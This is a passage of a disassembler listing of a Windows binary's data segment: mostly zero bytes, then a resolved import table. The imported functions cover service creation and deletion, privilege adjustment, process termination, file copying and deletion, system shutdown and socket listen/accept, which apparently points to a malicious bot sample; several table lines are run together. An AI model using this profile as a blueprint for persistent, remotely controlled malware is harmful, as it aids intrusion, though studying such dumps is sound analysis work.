		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db 0
dword_40384E	dd 0							; seg002:0040C168r ...
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
dword_403952	dd 0							; sub_40C53F+53r
dword_403956	dd 0							; sub_40C003+73r ...
dword_40395A	dd 0							; sub_40C53F+25r
		db    0
		db    0
		db    0
		db    0
dword_403962	dd 0							; sub_40C53F+2Br
		db    0
		db    0
		db    0
		db    0
dword_40396A	dd 0							; sub_40C11A+36r
dword_40396E	dd 0							; sub_40C53F:loc_40C558r
dword_403972	dd 0							; sub_40BF86-113r ...
dword_403976	dd 0							; sub_40C1F9+121r ...
dword_40397A	dd 0							; sub_40C1F9+2D1r
unk_40397E	db    0			; DATA XREF: sub_40C1F9+28Cr
		db    0
		db 2 dup(0)
dword_403982	dd 0							; seg002:0040BCC1r ...
dword_403986	dd 0							; seg002:0040BDAFr ...
dword_40398A	dd 0							; seg002:0040BB87w ...
dword_40398E	dd 0							; sub_40B5BD+6w ...
dword_403992	dd 0		dword_403996	dd 0		dword_40399A	dd 0							; seg002:0040BD20r
dword_40399E	dd 0							; seg002:0040B8AFr
dword_4039A2	dd 0							; seg002:0040BD97r
dword_4039A6	dd 0							; sub_40B507+30w ...
dword_4039AA	dd 0							; sub_40B507+36w ...
dword_4039AE	dd 0							; sub_40BF86+4Bw ...
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
dword_4039BE	dd 0		dword_4039C2	dd 0							; sub_40BF86-3Br
dword_4039C6	dd 0							; sub_40BF86-33r
dword_4039CA	dd 0							; sub_40BF86-15r
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
dword_404000	dd 77E36F61h	; resolved to->ADVAPI32.ChangeServiceConfig2Adword_404004	dd 77E377F9h	; resolved to->ADVAPI32.QueryServiceConfig2Adword_404008	dd 77DF3238h	; resolved to->ADVAPI32.StartServiceAdword_40400C	dd 77E37311h	; resolved to->ADVAPI32.DeleteServicedword_404010	dd 77DF0953h	; resolved to->ADVAPI32.RegisterServiceCtrlHandlerAdword_404014	dd 77DEB193h	; resolved to->ADVAPI32.SetServiceStatusdword_404018	dd 77E37D39h	; resolved to->ADVAPI32.StartServiceCtrlDispatcherAdword_40401C	dd 77DE5EB8h	; resolved to->ADVAPI32.QueryServiceStatus					; sub_402540+17Ar ...
dword_404020	dd 77DF5462h	; resolved to->ADVAPI32.QueryServiceConfigAdword_404024	dd 77E36CC9h	; resolved to->ADVAPI32.ChangeServiceConfigAdword_404028	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivilegesdword_40402C	dd 77DEADA7h	; resolved to->ADVAPI32.OpenSCManagerA					; sub_402540+11r ...
dword_404030	dd 77E37071h	; resolved to->ADVAPI32.CreateServiceAdword_404034	dd 77DE5E4Dh	; resolved to->ADVAPI32.CloseServiceHandle					; sub_4023E0+11Dr ...
dword_404038	dd 77DEB88Ch	; resolved to->ADVAPI32.OpenServiceA					; sub_402540+60r ...
dword_40403C	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_404040	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKeydword_404044	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessTokendword_404048	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueA		align 10h
dword_404050	dd 76D64D33h	; resolved to->IPHLPAPI.IcmpCloseHandledword_404054	dd 76D64D5Eh	; resolved to->IPHLPAPI.IcmpCreateFiledword_404058	dd 76D64B79h	; resolved to->IPHLPAPI.IcmpSendEcho		align 10h
dword_404060	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_404064	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrement					; sub_402C40+2A2r
dword_404068	dd 7C80FD2Dh	; resolved to->KERNEL32.GlobalAllocdword_40406C	dd 7C80FC2Fh	; resolved to->KERNEL32.GlobalFreedword_404070	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcessdword_404074	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_402A00+77r
dword_404078	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_402A00+8Br
dword_40407C	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_404080	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_404084	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_404088	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_402C40+Fr
dword_40408C	dd 7C80998Dh	; resolved to->KERNEL32.LocalAlloc					; sub_402540+7Er
dword_404090	dd 7C80992Fh	; resolved to->KERNEL32.LocalFree					; sub_402540+1CFr
dword_404094	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_404098	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExAdword_40409C	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_4040A0	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_4040A4	dd 7C80BF3Dh	; resolved to->KERNEL32.GetSystemDefaultLCIDdword_4040A8	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_402970+Ar
dword_4040AC	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_402A00+30r
dword_4040B0	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObjectdword_4040B4	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA					; sub_401660+42r
dword_4040B8	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTimedword_4040BC	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_401990+A1r ...
dword_4040C0	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_401B90+4Cr ...
dword_4040C4	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_401470+F9r ...
dword_4040C8	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401280+6Cr ...
dword_4040CC	dd 7C87109Dh	; resolved to->KERNEL32.FreeConsoledword_4040D0	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryAdword_4040D4	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_4040D8	dd 7C863DE5h	; resolved to->KERNEL32.Process32Firstdword_4040DC	dd 7C863F58h	; resolved to->KERNEL32.Process32Nextdword_4040E0	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_401000+E1r ...
dword_4040E4	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_4040E8	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_401780+1D3r ...
		align 10h
dword_4040F0	dd 77C39E7Eh	; resolved to->MSVCRT.exitdword_4040F4	dd 77C32DAEh	; resolved to->MSVCRT._XcptFilterdword_4040F8	dd 77C1EEEBh	; resolved to->MSVCRT.__getmainargsdword_4040FC	dd 77C39D67h	; resolved to->MSVCRT._inittermdword_404100	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_401B90+80r ...
dword_404104	dd 77C371BCh	; resolved to->MSVCRT.sranddword_404108	dd 77C29CC5h	dword_40410C	dd 77C1F1F1h	; resolved to->MSVCRT.__p___initenvdword_404110	dd 77C4D675h	; resolved to->MSVCRT.__setusermatherrdword_404114	dd 77C623D8h	; resolved to->MSVCRT._adjust_fdivdword_404118	dd 77C1F1A4h	; resolved to->MSVCRT.__p__commodedword_40411C	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_4015E0+Er ...
dword_404120	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_404124	dd 77C1F1DBh	; resolved to->MSVCRT.__p__fmodedword_404128	dd 77C3537Ch	; resolved to->MSVCRT.__set_app_typedword_40412C	dd 77C35C94h	; resolved to->MSVCRT._except_handler3dword_404130	dd 77C4EE2Fh	; resolved to->MSVCRT._controlfpdword_404134	dd 77C39E9Ah	; resolved to->MSVCRT._exitdword_404138	dd 77C29CDDh	dword_40413C	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_401280+12Br ...
dword_404140	dd 77C4624Eh	; resolved to->MSVCRT._stricmp					; sub_4023E0+64r
		align 8
dword_404148	dd 7E45A045h	; resolved to->USER32.ExitWindowsEx		align 10h
dword_404150	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_402B20+57r ...
dword_404154	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_402C40+6Er ...
dword_404158	dd 71AB50C8h	; resolved to->WS2_32.gethostnamedword_40415C	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_402C40+7Er
dword_404160	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_401EA0+1Br
dword_404164	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_401C80+41r ...
dword_404168	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_401B90+1Er ...
dword_40416C	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_401B90+65r ...
dword_404170	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_401990+15Dr ...
dword_404174	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4020E0+7r ...
dword_404178	dd 71AB3E00h	; resolved to->WS2_32.binddword_40417C	dd 71AB4428h	; resolved to->WS2_32.WSACleanupdword_404180	dd 71AB88D3h	; resolved to->WS2_32.listendword_404184	dd 71AC1028h	; resolved to->WS2_32.accept					; sub_401990+137r
